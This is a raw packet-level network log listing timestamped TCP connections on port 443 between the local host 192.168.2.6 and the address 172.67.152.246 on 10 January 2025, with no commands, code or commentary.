Jan 10, 2025 20:14:27.572146893 CET	443	57941	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:27.572259903 CET	57941	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:27.572269917 CET	443	57941	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:27.572309017 CET	57941	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:27.572314024 CET	443	57941	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:27.572413921 CET	57941	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:27.572418928 CET	443	57941	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:27.572437048 CET	57941	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:27.583971977 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:27.584073067 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:27.584158897 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:27.584537029 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:27.584574938 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.064274073 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.064373016 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.065021038 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.065042973 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.065213919 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.065221071 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270071030 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270112991 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270138979 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270162106 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270186901 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270210981 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270282030 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.270323038 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270335913 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.270369053 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.270665884 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270728111 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270761967 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270775080 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.270788908 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.270802021 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.270829916 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.274897099 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.274950981 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.274977922 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.275016069 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.356580973 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.356736898 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.356755972 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.356787920 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.356806040 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.356842995 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.356882095 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.356925011 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.356936932 CET	443	57942	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.356971025 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.356997967 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.357024908 CET	57942	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.465972900 CET	57943	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.466012955 CET	443	57943	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.466089010 CET	57943	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.466423035 CET	57943	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.466433048 CET	443	57943	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.939980984 CET	443	57943	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.940095901 CET	57943	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.940538883 CET	57943	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.940546036 CET	443	57943	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:28.940716028 CET	57943	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:28.940721035 CET	443	57943	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.082747936 CET	443	57943	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.082818985 CET	443	57943	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.082838058 CET	57943	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.082864046 CET	57943	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.130616903 CET	57943	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.130644083 CET	443	57943	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.143138885 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.143186092 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.143261909 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.143486023 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.143500090 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.607350111 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.607522964 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.608038902 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.608048916 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.608211040 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.608216047 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.808310986 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.808361053 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.808396101 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.808427095 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.808427095 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.808430910 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.808444023 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.808463097 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.808482885 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.808487892 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.808525085 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.808531046 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.808536053 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.808563948 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.808589935 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.808593988 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.808636904 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.808939934 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.809007883 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.809216976 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.809263945 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.813055992 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.813112974 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.895190001 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.895261049 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.895283937 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.895355940 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.895380974 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.895414114 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:29.895418882 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.895431995 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.895466089 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.895714045 CET	57944	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:29.895730972 CET	443	57944	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.012145996 CET	57945	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.012202024 CET	443	57945	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.012275934 CET	57945	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.012531996 CET	57945	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.012547970 CET	443	57945	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.479336977 CET	443	57945	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.479444981 CET	57945	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.479955912 CET	57945	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.479970932 CET	443	57945	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.480099916 CET	57945	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.480104923 CET	443	57945	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.632087946 CET	443	57945	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.632160902 CET	57945	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.632200003 CET	443	57945	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.632240057 CET	57945	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.632251978 CET	443	57945	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.632293940 CET	57945	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.632303953 CET	443	57945	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.632328987 CET	57945	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.645087957 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.645131111 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:30.645210981 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.645437956 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:30.645448923 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.102552891 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.102623940 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.103096962 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.103107929 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.103249073 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.103254080 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.280236959 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.280280113 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.280302048 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.280323982 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.280328989 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.280354977 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.280370951 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.280378103 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.280394077 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.280400038 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.280436039 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.280874014 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.280916929 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.280929089 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.280968904 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.291235924 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.291371107 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.291393042 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.291435003 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.291464090 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.291500092 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.291543007 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.375849962 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.375982046 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.375999928 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.376003981 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.376030922 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.376049042 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.376080990 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.376085997 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.376115084 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.376126051 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.376158953 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.376451015 CET	57946	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.376466990 CET	443	57946	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.500030994 CET	57947	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.500097036 CET	443	57947	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.500188112 CET	57947	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.500493050 CET	57947	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.500508070 CET	443	57947	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.970988989 CET	443	57947	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.971113920 CET	57947	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.971642017 CET	57947	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.971647024 CET	443	57947	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:31.971745968 CET	57947	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:31.971750975 CET	443	57947	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.096672058 CET	443	57947	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.096733093 CET	443	57947	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.096734047 CET	57947	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.096796036 CET	57947	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.096976995 CET	57947	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.097001076 CET	443	57947	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.107012033 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.107060909 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.107121944 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.107359886 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.107373953 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.569288015 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.569427967 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.569806099 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.569818974 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.569952011 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.569958925 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.757621050 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.757694960 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.757738113 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.757781029 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.757785082 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.757818937 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.757837057 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.757837057 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.757860899 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.757867098 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.757894993 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.757900953 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.757930040 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.757936001 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.757967949 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.765006065 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.765088081 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.765088081 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.765120983 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.765136957 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.765155077 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.765175104 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.765207052 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.844948053 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.845026016 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.845067024 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.845108032 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.845108032 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.845161915 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.845189095 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.845190048 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.845247984 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.845315933 CET	57948	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.845339060 CET	443	57948	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.965320110 CET	57949	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.965368032 CET	443	57949	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:32.965840101 CET	57949	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.965840101 CET	57949	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:32.965876102 CET	443	57949	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:33.545468092 CET	443	57949	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:33.545603037 CET	57949	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:33.552675962 CET	57949	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:33.552685976 CET	443	57949	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:33.552877903 CET	57949	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:33.552882910 CET	443	57949	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:33.691807985 CET	443	57949	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:33.691864014 CET	57949	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:33.691879988 CET	443	57949	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:33.691924095 CET	443	57949	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:33.691996098 CET	57949	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:33.691996098 CET	57949	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:33.692225933 CET	57949	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:33.692248106 CET	443	57949	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:33.692795992 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:33.692842007 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:33.692902088 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:33.693082094 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:33.693092108 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.165854931 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.165976048 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.166539907 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.166553974 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.166753054 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.166763067 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.354748964 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.354811907 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.354837894 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.354851007 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.354860067 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.354866028 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.354888916 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.354903936 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.354912996 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.354948044 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.354958057 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.354990959 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.355005980 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.355036974 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.355812073 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.355859041 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.355866909 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.355901003 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.355977058 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.356015921 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.359610081 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.359658957 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.359668970 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.359704018 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.359709024 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.359745979 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.359903097 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.359945059 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.444161892 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.444247961 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.444264889 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.444293022 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.444305897 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.444327116 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.444330931 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.444360971 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.444370031 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.444405079 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.444428921 CET	57950	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.444442987 CET	443	57950	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.588927984 CET	57951	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.588979006 CET	443	57951	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:34.589303970 CET	57951	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.590687037 CET	57951	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:34.590701103 CET	443	57951	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.073916912 CET	443	57951	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.074029922 CET	57951	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.074661970 CET	57951	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.074667931 CET	443	57951	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.074831009 CET	57951	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.074835062 CET	443	57951	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.233386040 CET	443	57951	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.233463049 CET	443	57951	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.233504057 CET	57951	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.233504057 CET	57951	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.233937025 CET	57951	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.233959913 CET	443	57951	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.238149881 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.238198042 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.238286972 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.238481045 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.238490105 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.727195024 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.727264881 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.727682114 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.727691889 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.727863073 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.727868080 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.939943075 CET	443	57952	172.67.152.246	192.168.2.6
